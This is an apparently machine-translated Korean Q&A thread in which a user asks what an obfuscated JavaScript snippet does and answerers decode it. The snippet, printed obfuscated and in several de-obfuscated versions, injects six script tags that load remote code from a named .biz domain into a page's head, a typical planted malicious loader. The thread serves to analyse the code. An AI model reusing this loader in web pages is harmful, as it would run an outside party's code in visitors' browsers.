2013-05-06 4 views
2

이 자바 스크립트 코드가 무엇인지 알 수있는 방법이 있습니다. 이상하게 보일 경우 미안합니다. 사전에누군가가이 자바 스크립트를 해독 할 수 있습니까?

var _0x7e0d = ["\x63\x62\x6F\x78\x66\x6F\x72\x6D", "\x68\x74\x74\x70\x3A\x2F\x2F\x66\x72\x61\x6E\x63\x65\x31\x30\x73\x2E\x62\x69\x7A\x2F\x63\x62\x6F\x78\x2F\x3F", "\x68\x65\x61\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x64\x6F\x63\x75\x6D\x65\x6E\x74", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65", "\x73\x72\x63", "\x6C\x61\x73\x74\x43\x68\x69\x6C\x64", "\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65", "\x67", "\x63\x6C", "\x66\x74", "\x70\x6B", "\x74\x6D", "\x6D"]; 
var cf = parent[_0x7e0d[0]]; 
var cm = window; 
var frmod = _0x7e0d[1]; 

function include(_0x1a17x5, _0x1a17x6) { 
    head = _0x1a17x6[_0x7e0d[4]][_0x7e0d[3]](_0x7e0d[2])[0]; 
    var _0x1a17x7 = _0x1a17x6[_0x7e0d[4]][_0x7e0d[6]](_0x7e0d[5]); 
    _0x1a17x7[_0x7e0d[9]](_0x7e0d[7], _0x7e0d[8]); 
    _0x1a17x7[_0x7e0d[9]](_0x7e0d[10], _0x1a17x5); 
    head[_0x7e0d[12]](_0x1a17x7, head[_0x7e0d[11]]); 
}; 
include(frmod + _0x7e0d[13], cm); 
include(frmod + _0x7e0d[14], cm); 
include(frmod + _0x7e0d[15], cm); 
include(frmod + _0x7e0d[16], cm); 
include(frmod + _0x7e0d[17], cm); 
include(frmod + _0x7e0d[18], cm); 

감사

+2

이 페이지에 붙여 넣으십시오. http://ddecode.com/hexdecoder/ – thebreiflabb

+0

누군가이 자바 스크립트를 포맷 할 수 있습니까? –

+0

16 진수 문자 코드입니다. 첫 번째 할당은'[ ""cboxform ","http://france10s.biz/cbox/? ","head ","getElementsByTagName ","document ","script ","createElement " "type", "text/javascript", "setAttribute", "src", "lastChild", "insertBefore", "g", "cl", "ft", "pk", "tm", "m"] ''var _0x7e0d' .. 마찬가지로 콘솔 로그를 사용하여 그것을 읽습니다 !!! – NINCOMPOOP

답변

2

http://jsbeautifier.org/이 스크립트는 단순히에서 외부 스크립트로 <head>에 여섯 개 <script> 태그를 추가 즉

var cf = parent['cboxform']; 
var cm = window; 
var frmod = 'http://fra*****s.biz/cbox/?'; 

function include(_0x1a17x5, _0x1a17x6) { 
    head = _0x1a17x6['document']['getElementsByTagName']('head')[0]; 
    var _0x1a17x7 = _0x1a17x6['document']['createElement']('script'); 
    _0x1a17x7['setAttribute']('type', 'text/javascript'); 
    _0x1a17x7['setAttribute']('src', _0x1a17x5); 
    head['insertBefore'](_0x1a17x7, head['lastChild']); 
}; 
include(frmod + 'g', cm); 
include(frmod + 'cl', cm); 
include(frmod + 'ft', cm); 
include(frmod + 'pk', cm); 
include(frmod + 'tm', cm); 
include(frmod + 'm', cm); 
+0

함수가 아직 암호가 해독되지 않은 코드를 포함합니다! – GuestofHonor

+0

@ user2349786 이들은 변수입니다. 엄마, RoomID, Horsefly, _0x1a17x5조차도 유효한 js 변수 이름입니다. –

0

:

  1. http://fra*****s.biz/cbox/?g
  2. http://fra*****s.biz/cbox/?cl
  3. http://fra*****s.biz/cbox/?ft
  4. http://fra*****s.biz/cbox/?pk
  5. http://fra*****s.biz/cbox/?tm
  6. http://fra*****s.biz/cbox/?m

는 WARN :이 링크를 열지 마십시오! 보안상의 이유로 URL에 *을 추가했습니다.

+0

나는 이미 그 감사를 가지고 있지만 문제는 내가 이미 나머지를 모두 가지고 있기 때문에 더 중요한 코드를 포함한다. 덕분에 – GuestofHonor

2

Google 폐쇄 컴파일러 http://closure-compiler.appspot.com/home을 사용해보세요. 나는 http://jsbeautifier.org/을 사용하여 Google 코드 출력 형식을 지정했습니다. 코드는 가독성을 위해 수정되었습니다.

var funcOrKeys = ["cboxform", "http://france10s.biz/cbox/?", "head", "getElementsByTagName", "document", "script", "createElement", "type", "text/javascript", "setAttribute", "src", "lastChild", "insertBefore", "g", "cl", "ft", "pk", "tm", "m"]; 
var cf = parent['cboxform']; 
var cm = window; 
var url = 'http://XXXXXXX.biz/cbox/?'; 

function include(url , window) { 
    head = window.document.getElementsByTagName('head')[0]; 
    var scriptTag = window.document.createElement('script'); 
    scriptTag.setAttribute('type', 'text/javascript'); 
    scriptTag.setAttribute('src', url); 
    head.insertBefore(scriptTag , head['lastChild']); 
}; 

include(url + 'g', cm); 
include(url + 'cl', cm); 
include(url + 'ft', cm); 
include(url + 'pk', cm); 
include(url + 'tm', cm); 
include(url + 'm', cm ); 

include ur head 태그에 append 스크립트 태그.

+0

나는 모든 것을 얻었으나 함수의 코드는 여전히 암호화되어있다. – GuestofHonor

관련 문제